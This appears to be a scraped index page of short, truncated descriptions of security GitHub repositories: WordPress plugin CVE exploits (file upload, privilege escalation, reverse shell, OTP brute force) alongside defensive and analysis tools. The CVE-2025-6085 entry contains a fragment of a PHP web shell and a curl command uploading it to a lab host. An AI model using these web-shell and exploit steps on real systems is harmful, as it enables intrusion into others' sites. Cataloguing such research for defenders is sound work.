CVE-2025-23968

AI Bud – AI Content Generator, AI Chatbot, ChatGPT, Gemini, GPT-4o The AI Bud plugin exposes a REST API endpoint /wp-json/ai-buddy/v1/wp/attachments that allows uploading files to the WordPress media library. The endpoint’s file logic contains file renaming functionality that triggers after file...

ssrf-king

🔥 ssrf-king 🔥 v1.12 Latest SSRF plugin for burp that Automates SSRF Detection in all of the Request alt text If you are facing any problems or would like a new feature that is not listed below Please create a new issue below in this form Create New Issue Upcoming Features Checklist ✔️ It will soon...

ssrf-king

🔥 ssrf-king 🔥 v1.12 Última Plugin SSRF para Burp que automatiza la detección de SSRF en todas las solicitudes alt text Si enfrentas algún problema o deseas una nueva función que no esté listada abajo Por favor, crea un nuevo issue a continuación en este formulario Create New Issue Lista de próxim...

CVE-2019-9978

CVE-2019-9978 - Social Warfare Wordpress plugin RCE 3.5.3 Remote Code Execution in Social Warfare Plugin before 3.5.3 for Wordpress. This Poc does not require running an additional HTTP Server. Just pass your local IP and the desired port and the exploit will create a server in its own thread...

ManticoreUI

============ Manticore UI .. image:: https://raw.githubusercontent.com/trailofbits/manticore/master/docs/images/manticore.png :width: 200px :align: center :alt: Manticore The Manticore User Interface MUI project provides a graphical user interface plugin for different disassemblers that allows...

CVE-2025-10658

Exploit: SupportCandy Guest OTP Brute Force → Account Takeover 1 Initiate OTP login flow browser Open: /support/ Select guest / OTP login Enter target email e.g. [email protected] Submit 2 Extract required values from the OTP form In DevTools → Network →...

CVE-2025-13374

Kalrav AI Agent = 2.3.3 - Unauthenticated Arbitrary File Upload via kalravuploadfile AJAX Action The WordPress Kalrav AI Agent plugin version 2.3.3 and prior contains an arbitrary file upload vulnerability that allows unauthenticated users to upload malicious PHP files to the server, potentially...

CVE-2026-5118

CVE-2026-5118 — Divi Form Builder = 5.1.2 — Unauthenticated Privilege Escalation via Role Injection 🔥 Vulnerability Summary The WordPress plugin Divi Form Builder versions = 5.1.2 is vulnerable to an unauthenticated privilege escalation vulnerability. This critical flaw allows unauthenticated...

quick-lookup-ptrun

Quick Lookup Plugin for PowerToys Run This plugin for PowerToys Run allows you to quickly search for an IP address, domain name, hash or any other data points in a list of Cyber Security tools. It's perfect for security analysts, penetration testers, or anyone else who needs to quickly lookup...

sharem

SHAREM Welcome to SHAREM! SHAREM was presented at DEFCON 31 in "Game-Changing Advances in Windows Shellcode Analysis" and Black Hat USA Arsenal. A companion Ghidra plugin was made available separately from Trellix, courtesy of Max Kersten. Thus, you can extend the power of SHAREM to Ghidra, if yo...

zap-hud

ZAP Heads Up Display El HUD ya no está en desarrollo activo Desafortunadamente, el HUD ya no está en desarrollo activo debido a que nadie se está centrando en él. El HUD es una interfaz única e innovadora que sabemos que a algunas personas les encanta. Pero también requiere una cantidad nada...

CVE-2023-2982

CVE-2023-2982 WordPress Social Login and Register Discord, Google, Twitter, LinkedIn = 7.6.4 - Authentication Bypass Info The WordPress Social Login and Register Discord, Google, Twitter, LinkedIn plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 7.6.4...

CVE-2025-6085

Make Connector shello.php ".shellexec$GET"cmd".""; ? EOF curl -k -X POST https://lab1.hacker/wp-json/wp/v2/media \ -H "IWC-API-KEY: YOURFRIENDLYKEYHERE" \ -F "[email protected]" \ -F "title=Hacker World" \ -F "description=A test file" \ -F "caption=Hacker Caption" \ Leveraging the shell once...

efiXplorer

efiXplorer - IDA plugin and loader for UEFI firmware analysis and reverse engineering automation Documentation Plugin wiki Loader wiki Build instructions and installation Publications efiXplorer: Hunting for UEFI Firmware Vulnerabilities at Scale with Automated Static Analysis Static...

CVE-2020-36287

CVE-2020-36287 The dashboard gadgets preference resource of the Atlassian gadgets plugin used in Jira Server and Jira Data Center before version 8.13.5, and from version 8.14.0 before version 8.15.1 allows remote anonymous attackers to obtain gadget related settings via a missing permissions chec...

WordPress_Backup_Migration-RCE_Unauthenticated

CVE-2023-6553 — The Backup Migration plugin for WordPress - Reverse Shell An extended version of Chocapikk's CVE-2023-6553 exploit that adds a one-command reverse shell mode on top of the original interactive webshell. Vulnerability CVE-2023-6553 — Unauthenticated Remote Code Execution in the...

CVE-2025-22352

1️⃣ Component type WordPress plugin 2️⃣ Component details Component name ELEX WooCommerce Advanced Bulk Edit Products, Prices & Attributes Vulnerable version = 1.4.8 Component slug elex-bulk-edit-products-prices-attributes-for-woocommerce-basic Component link...

Log4j-check

Log4j-check Supports RC1 bypass log4j Burp scanning plugin, CVE-2021-44228, supports RC1 bypass, supports JSON data types, supports dnslog.cn and Burp's built-in DNS, can be used with JNDIExploit to generate payloads Modified based on @pmiaowu's fastjson plugin. The original author used dnslog.cn...

CVE-2016-10956-mail-masta

Mail Masta - Local File Read CVE-2016-10956 The mail-masta plugin 1.0 for WordPress has local file read in countofsend.php and csvexport.php. Usage $ ./CVE-2016-10956mailmasta.py -h + Mail Masta - Local File Read CVE-2016-10956 usage: CVE-2016-10956mailmasta.py -h -v -s -t TARGETURL -f FILE | -F...

wp-allowed-hosts

WP Allowed Hosts This plugin has been created after the vulnerability known as CVE-2017-8295 has been disclosed, this plugin will protect you from that attack with no hassle, just add simple line to your wp-config.php . Installation Just download the plugin from here and upload it to your site...